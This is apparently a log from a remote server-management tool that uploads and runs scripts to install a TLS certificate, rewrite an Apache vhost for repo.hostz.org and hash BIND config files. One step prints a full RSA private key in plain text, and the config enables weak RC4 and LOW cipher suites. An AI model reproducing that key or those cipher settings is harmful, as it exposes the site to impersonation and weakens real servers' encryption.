XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-23 06:00:20: 

chmod 755 /tmp/pkp184396; /tmp/pkp184396; rm /tmp/pkp184396

2026-02-23 06:00:20: 


dir=/etc/pki/tls/certs/


2026-02-23 06:00:20: 

PUT: /tmp/pkp483410

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_repo_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-23 06:00:21: 

chmod 755 /tmp/pkp483410; /tmp/pkp483410; rm /tmp/pkp483410

2026-02-23 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-23 06:00:21: 

PUT: /tmp/pkp206689

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi


2026-02-23 06:00:21: 

chmod 755 /tmp/pkp206689; /tmp/pkp206689; rm /tmp/pkp206689

2026-02-23 06:00:22: 




2026-02-23 06:00:22: 

PUT: /tmp/pkp290009

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-23 06:00:22: 

chmod 755 /tmp/pkp290009; /tmp/pkp290009; rm /tmp/pkp290009

2026-02-23 06:00:23: 


.


2026-02-23 06:00:23: Establishing a connection
2026-02-23 06:00:24: 

PUT: /tmp/pkp535135

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-23 06:00:25: 

chmod 755 /tmp/pkp535135; /tmp/pkp535135; rm /tmp/pkp535135

2026-02-23 06:00:25: 


[Mon Feb 23 06:00:25.588036 2026] [so:warn] [pid 1477053:tid 139757583100224] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Mon Feb 23 06:00:25.588036 2026] [so:warn] [pid 1477053:tid 139757583100224] AH01574: module status_module is already loaded, skipping


2026-02-23 06:00:25: 

PUT: /tmp/pkp215565

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_repo_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-23 06:00:26: 

chmod 755 /tmp/pkp215565; /tmp/pkp215565; rm /tmp/pkp215565

2026-02-23 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf	1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-23 06:00:26: 

PUT: /tmp/pkp532527

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-23 06:00:27: 

chmod 755 /tmp/pkp532527; /tmp/pkp532527; rm /tmp/pkp532527

2026-02-23 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt	5332
7d:24:65:4b:b8:d3:e4:23:2a:31:97:91:0b:6a:b4:1e

-----BEGIN CERTIFICATE-----
MIIE7DCCA9SgAwIBAgISBt16JxIlSd81zOjB/OCZCEUWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjIzMDUwMTQ0WhcNMjYwNTI0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ+zB9GuBQ2LA3PaPrjxSd1bcQzK60jQbmNw5ntgQ2ct87LcarAq+VDDsJK4RxVw
Ak2dxd0yIg6+dPzOoBLQLCBDolruf1miVaX9NOuDkPKNiPO4nABZJTPEQCrAzYtG
Y/ovaAaArhgADnL3ZxQsjE6w/0AhWWzTRc29oF9RDPCUSzlVjG36Sj1OylYFsAlZ
hu3wLpHqnAJ9tH+znQyntNEIaaCb0ik04NSn01/djO7DHlX2NVrkLFk1g2GIcjdH
chKuMKcFhaZX4WzD9ORE8YrGzBOXYgWDMgM/YHeCBJVoQCcFV044QLR/k4C0jMPf
5xO81RNz/LIZ4x1W1t0pSmkCAwEAAaOCAhIwggIOMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBThc72h
Ud/z5Nn3WXUYwsnXu8bJJTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MjMuY3JsMIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGciRWEagAABAMARjBEAiB3iBEhvz25wWrLGL3J
RRIhTfWhJgazQ7ifvZjvi3DtDQIgNPHJ3YxBLoAlVVwpRECc9Sj6xiEv/qDSyroj
a91E+3IAdQDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZyJFYT6
AAAEAwBGMEQCIEFiQNt+XjoWVTPanICWOJTHdLKNOidVv6JDWlQDW+7IAiAYPP3x
QVrZyah+s9BhjzsRu2RcyCIgDPYi34stFpdItjANBgkqhkiG9w0BAQsFAAOCAQEA
W847ZojLILxTUzVjsJAAKHSh95LLbCgXXZ+raQ1he1bN4f7fjzgI2r++6R45OLok
/fghvjOuicGMp5xP41OrQuE0OwZb90t4SYnfY+Y8+Un4+jMSS0dmEUm4F2UmOCs2
ONBepka0uzmwXRCzYNahO1GsMINmFwWhw7Jew3QCQxdZ3uXEL+tcXrlSw9bCep/y
oK6UWaIm3YlNl+BhuA+0v40KmUbLewSFh8fBzCNTN0xVolQkWbDcHySS4HQec5Nb
jQ5GVywMM863b6KLDkDK001Hdc8icMX9vNPZhVGHdKPkXqAS+6slV8PIKVNfioFy
kaurIYjotuAhePLkWswojA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCfswfRrgUNiwNz
2j648UndW3EMyutI0G5jcOZ7YENnLfOy3GqwKvlQw7CSuEcVcAJNncXdMiIOvnT8
zqAS0CwgQ6Ja7n9ZolWl/TTrg5DyjYjzuJwAWSUzxEAqwM2LRmP6L2gGgK4YAA5y
92cULIxOsP9AIVls00XNvaBfUQzwlEs5VYxt+ko9TspWBbAJWYbt8C6R6pwCfbR/
s50Mp7TRCGmgm9IpNODUp9Nf3Yzuwx5V9jVa5CxZNYNhiHI3R3ISrjCnBYWmV+Fs
w/TkRPGKxswTl2IFgzIDP2B3ggSVaEAnBVdOOEC0f5OAtIzD3+cTvNUTc/yyGeMd
VtbdKUppAgMBAAECggEAAoVWccJf9QtFNi5zQAMbCeH4Il4Poboci/hLwxXNapMI
nkGpc3dyMQqtvlsnUBjRCH2dknTIodfyy8zNLQ7ZK3c12F6cZwNPe8vH6pHMl2+R
gltfJwhBNJR7+NDLTdACIwBdkYC1fs59a+Yo2+IqItHbbZ05JqUdHHbKUcbbP+7o
6qo99DLwXv+ys2DF3iS3g1my5pEcvcfI0WgOIPIvFwMvq855Ym6BtCFX4aDecStC
etzjlJt6RyKX4/0mVZVPUKlwVL6svlOtdGppcG3PYt8UddF0bP/APTG6jpeDssX9
/zgfqfo55uJBiXfhXXtLXuKXAFdUlUB+RAyySy1+aQKBgQDcrb+3UO212UZOXDiM
NLNaBwBMpWhGBArfSB2gD6O8mssNq9q3dD/c3SgWUABDpR9HwCJgkeTN7+jV33qZ
RfSqbl+7DnE5onuChSQm6iLTSmQOtehWR02gDb1PgR/wROGL43yGB4iJbqX5BK0r
AmtvumtSdzFAHXMKVWygXcewrQKBgQC5QqsVtz6saPcczr/XA6Vk74u4x4Khfx9p
5Rao+XlCB+VXQY40GFcZ1VZoztfyykVFS1+pWzvHLw3Q3/TGE+6013fpPUOghewD
0MRXW7IQOZa/nkrjC/4UYqWjgTEiOZa46cymsAJGR2tg5NmEzkiUApexpTYC1vPt
T0lG/CesLQKBgGk6xQfSJHgpknf9S823t6p/WioyWcXBWbndNptDue1O1vK+9z2x
xl44a0wwe9/F1mOtf/cSustk0l9iAKEkFaZLmYSmP2GfVEwJ1xJjZZXhjFLjdVXn
DGH9Cz/lL+ivv+mn4ZI792SpiaV0EGtI7RhLCbA6PBb5tAjCcVkLPxTFAoGBAJb1
BieJy539Ye6tYZC4vdrDftywZXdm+Jf3PkGuFuqBOJWjK1azxrWcKu74LOr/evZ9
9pMvbkRdySo8c127/DSLpn/9lc+FkM2DHZn5c9zYsEevmmHr8bt2rnXO3dR/jJtc
l4/zt8bAh3TKxZv74xQIEMeGUb56nQTwKEuZSFJ5AoGAB7KXaj3TotoO5CB8z4ZH
6cl7by8WKSMNtHeRYLTH2dGFmstAs8vPnXkm0Lsu0BqPcvmfvfmixgoSLBxkwGau
fBv6Xnca7uZvVcH/szwZZCld8udxnt1TbzNWbcr3scRc0ugh0PfjGGsDV9gULfSX
xtUZsBps1PaylFXHhd9ShXM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-23 15:14:41: Establishing a connection
2026-02-23 15:14:49: Establishing a connection
2026-02-23 15:14:49: 

PUT: /tmp/pkp615882

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-23 15:14:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp615882; rm /tmp/pkp615882'

2026-02-23 15:14:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
